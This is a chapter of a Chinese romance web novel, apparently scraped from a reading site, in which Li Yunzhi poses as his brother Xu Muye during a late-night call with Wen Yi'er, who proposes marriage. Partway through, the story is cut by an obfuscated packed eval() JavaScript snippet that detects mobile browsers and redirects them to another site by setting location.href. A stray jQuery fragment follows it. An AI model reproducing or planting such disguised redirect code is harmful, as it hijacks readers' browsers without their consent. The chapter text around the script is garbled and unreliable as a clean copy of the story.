默认冷灰
24号文字
方正启体

12. 12

作者:西临本书字数:K更新时间:
    说出这句话,温宜尔觉得自己并非是一时冲动。


    毕竟,徐牧野很早前就提过结婚的事,只不过那个时候,她没有松口。


    哪怕后来,俩人已经到了谈婚论嫁的地步,她也从来没有向今晚这样


    ——


    在那双能看清自己的眼中,郑重地决定将自己的未来,同他绑在一块儿。


    今天晚上发生的事情,未来说不定会再次发生。


    她相信徐牧野,可也不想要把彼此的时间,浪费在“解释”这种无足轻重的事情上。


    如果相携一生的对象是徐牧野的话,那么早一点结婚,晚一点结婚,好像并没有什么区别。


    “婚礼策划起来,可能需要一定的时间,可是领证这件事,花不了多长的时间。”温宜尔眼神很亮,可下一秒,又缩了缩脖子,“只是这件事情,暂时还不能告诉我哥。否则,他要是知道了,会生气的。”


    “小尔,你真的想好了吗?”


    李韫之看着眼前这个沉浸在自己遐想世界的女人,抬手挑起了她的下巴,以徐牧野的口吻轻呷开口。


    指腹很轻地摩挲着皮肤,感受那一点微末的热意,“要是结了婚,以后可没有反悔的余地了。这样,你还想同我结婚吗?”


    一双好看的桃花眼,此刻微眯着审度眼前人。


    低沉的嗓音,融进晚风中。


    温宜尔不知为何,脊背爬上一串细密的疙瘩,那视线,如同一条湿冷的蛇,在身上攀爬、游走。


    她不明白这种感觉从何而起,只能将身体依靠在徐牧野的身上,以此借暖。


    于是她道,“那我再想想吧。”


    李韫之意味不明地笑了声,温宜尔却把头埋得更低了。


    他的胸膛很硬,高大的身躯,将她裹在怀中,夜晚,好像也变得没有那么的寒冷了。


    *


    温宜尔回到家,整个人心口还在砰砰乱跳,其实她一点都不像自己面上表现的那般镇定。


    因为月色太好,有些话自然而然地就吐露出来了。


    返程途中,脸颊还热得慌,她让徐牧野开了窗,冷风勉强压下心底的躁动。


    可渐渐的,她又有点儿后悔了。


    如果哥哥在这儿的话,肯定要说她没有女孩家的矜持,明明都已经开始商量婚事了,哪里有姑娘家向人求婚的。


    不过,说出去的话,就像泼出去的水。覆水难收。可半夜躺在床上,辗转难眠。


    温宜尔决定,还是要厚着脸皮,给徐牧野打一通电话,表明今晚只是头脑过热,结婚的事,暂时不能作数。


    她将电话拨过去,脸颊压着电话,屏着气,在一串嘟嘟声中,吸进鼻腔的空气,仿佛被压缩了似的。


    “小野,”她的声音很轻,带着女儿家的纠结心思,“今天晚上的事,你能不能当作什么都没发生?”


    “嗯?”


    那边的声音有点哑,似乎还没回过神她所说的话。默了瞬后,“你是指,我们结婚的事吗?可是,我们不是已经在商量婚期了吗?”


    “是哪儿做得还不够好吗?”


    李韫之其实原本也没当一回事,回到别墅之后,正常处理汇报来的工作。


    临到休息的时候,觉得有点口干,去客厅接了杯冰水,灌了一口,温宜尔的电话,就在这个时候打了进来。


    徐牧野的手机,原本是放在程文熠那儿的,不过经过后来几次,手机就直接搁置在他这儿了。


    李韫之回消息的频率不高,偶尔会看温宜尔发过来的消息,但并不太会主动回复什么。


    此刻手机来电显示,温。


    对于温宜尔的临时反悔,他的神情看不出意外之色,反倒觉得有点意思,想听听她会找怎样蹩脚的理由。


    长腿一迈,找了个位置落脚,将手机开了外放,放在圆几上。


    眼前是一片格子玻璃墙,窗外景色幽微,风从窗格中涌进,透明的纱帘轻拂着下摆。


    李韫之回国之前,特地让人将这片荒芜许久的独栋别墅,重新翻整了一遍。


    去了死气,现在多了点从前的鲜活。


    这扇玻璃外,是一片高大的绿林。林中有一池溪流,在晚灯的掩映中,暖黄色的光,浮得很疏。


    水在流动中,发出潺潺的音。


    李韫之故意曲解她话里的意思。将这句话说出后,温宜尔的呼吸在听筒中,明显急促了几分。


    她没有开口,一时间承认亦或否认,在这一刻,在她的口中,好像都变得艰难了几分。


    “小尔,”他在温宜尔的纠结中,先开了口,“你喜欢我吗?”


    说完,李韫之的唇角不自觉勾起。这种无聊弱智的游戏,他似乎还玩得挺起劲的。


    这些天,他随手翻了徐牧野同温宜尔的聊天记录。


    也就是在这些文字中,他从中了解到两个人的昵称,以及生活中的一些相处细节。


    不知道是可喜呢,还是可悲呢。


    这一场无聊的游戏,大概也该结束了。李韫之唇边的笑痕,骤然敛去。


    他皱了皱眉,在心中唾弃自己。


    将方才搁在矮几上的手机捞过,手机贴在耳边。


    糯糯的、还带点鼻音,却郑重无比。


    李韫之脸上的神情短暂凝滞。


    “很喜欢。”


    “是吗?”


    他改了主意。


    “我也爱你。”


    声音很飘渺,温宜尔心却像空了半拍。


    其实这并非是第一次从徐牧野的口中听到这些话,可这一次,好像有什么变得不一样了。


    她的话又咽了回去。


    声音透过枕面透出来,闷闷的。


    女孩子心里的犹豫、纠结,恰到好处地传进李韫之的耳朵里。


    他没吭声,等待她继续。


    温宜尔的声音很轻,却又带着不容忽视的郑重,“结婚是一件郑重的事情,我今天晚上,好像说得太随便了。我不想让你觉得,我其实是一个随便的人。”


    “不过,如果结婚对象是你的话,那么早一点晚一点,好像也没什么区别。”


    温宜尔翻了个身,面朝着卧室的那扇窗。四层楼,只能看见寥寥无几的林梢。


    今天晚上的月亮很好,适合袒露心事,适合交心,适合对爱人倾诉爱意。


    刚才的那点小纠结烟消云散,她想明白了自己的心。她说,“如果你明天没事的话,我们去把结婚证领了吧。”


    *


    李韫之承认自己并非好人。对于温宜尔,或许可以做到闲时把玩,但结婚,好像是一个久远的话题。


    他点了根烟,支起腿,“婚姻是一辈子的事,求婚-订婚-结婚,这个流程,我们还没有开始走呢。”


    “我不想让你以后回想起来,会觉得有所遗憾。”香烟点燃,青灰色的烟,在穹顶的灯光下,近乎照不见。


    想起那个女人的脸,李韫之自我讽笑,这些话,大概是他那个好弟弟能说出口的。


    可惜。


    他们是两个人。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025661|194385||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    李韫之侧过脸,看着无尽长夜,长睫在眼下投出扇形阴影,“如果明早天亮以后,你还这样想的话,那我们就去领结婚证。”


    “好吗?”


    “嗯。”


    温宜尔捂在被子里的心,跳得越来越剧烈了,脸颊又红得像苹果了。


    她翻了个身,紧紧揪住被子。脸热、呼吸烫,即便有风进入,却也无法消解半分,“你睡了吗?”


    “没呢。”李韫之阖了阖眼,“你早点休息,不要工作到太晚。”


    “知道,我已经躺下了。”温宜尔睡不太着了,“你现在在干什么?”


    “喝水。”


    “晚上不要喝冰水了,”她叮嘱,“对胃不好。”


    男人看着玻璃杯壁上流下的水珠,面不改色的撒谎,“嗯,温水。”


    “今天晚上,可以给我讲一个故事吗?”温宜尔的嗓音,带着一点倦意。在听筒的传递中,稍显失真。听到李韫之的耳中,更像是一种撒娇,“你很久都没有哄我睡觉了。”


    -


    温宜尔其实并没有听故事的这个习惯,只不过徐牧野某次在网上帮助她购买书籍的时候,闲暇之余点到了儿童区,一番浏览下来,还真让他找到几个感兴趣的。


    这些故事,对于他们这些大人而言,其实很幼稚,可是对于这个年段的孩子来讲,又充满着烂漫与童真。


    书买下来,在不加班的夜晚,温宜尔在书桌前编写教案的时候,徐牧野就靠在床头,大手细致认真地翻开这厚重却充满彩印童真的小故事。


    他的声音,和现在说来有点儿不一样。在讲故事的时候,更像是十七八岁的少年,在脑海中为她绘制着一个童趣的世界。


    不过他们毕竟不是真的小孩,这种故事,听个三两个,也差不多够了。


    今天晚上,除了阐述已经非常清晰的感情外,没有任何特殊的事情发生。


    月光似水般温和,温宜尔躺在床上,听着电话那端清浅的呼吸声,伸出手,月光从指缝中流泻而下。


    一个平和的夜晚,好像适合听故事。


    仅此而已。


    “小野,你怎么不说话了?”温宜尔闭着眼睛,感受吹过轻纱的风,在面颊上流淌。电话那端,迟迟没有人开口,“该不会,你当时自己提出的建议,现在不打算遵守了吧?”


    短暂的沉默过后。


    “我六岁那年,在一本描写原始森林的名叫《真实的故事》的书上,看见过一副精彩的插图,画的是一条蟒蛇在吞吃一头猛兽。我现在把它照样……”


    李韫之的声音乍然停下。


    在这一刻,他才发觉自己做了一件多么愚蠢的事。


    讲故事这么幼稚的事,也只有小孩才做得出来。即便,温宜尔口中,徐牧野曾经做过许多次。


    可那毕竟只是徐牧野,不是他李韫之。


    所以,当下那一刻,自己是怎么犯蠢的,听信了那个女人的话。


    特地用手机,查询了一篇小王子,在这儿哄三岁小孩似的,来哄她?


    他停了下来。


    烦闷地将手机扔在一边。


    偏偏,在他停下来这么长久的时间中,对方也并未挂断通话。


    没有人声从听筒泄出来,只有流水涛涛混着墙上挂壁中,秒针‘滴答’的走动声。


    时间并不早了。


    李韫之想说她幼稚,话到嘴边,又止住了。


    在这个房间以外的另一间房中,有个女人睡得正香甜,大概是做了一场还不错的梦。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)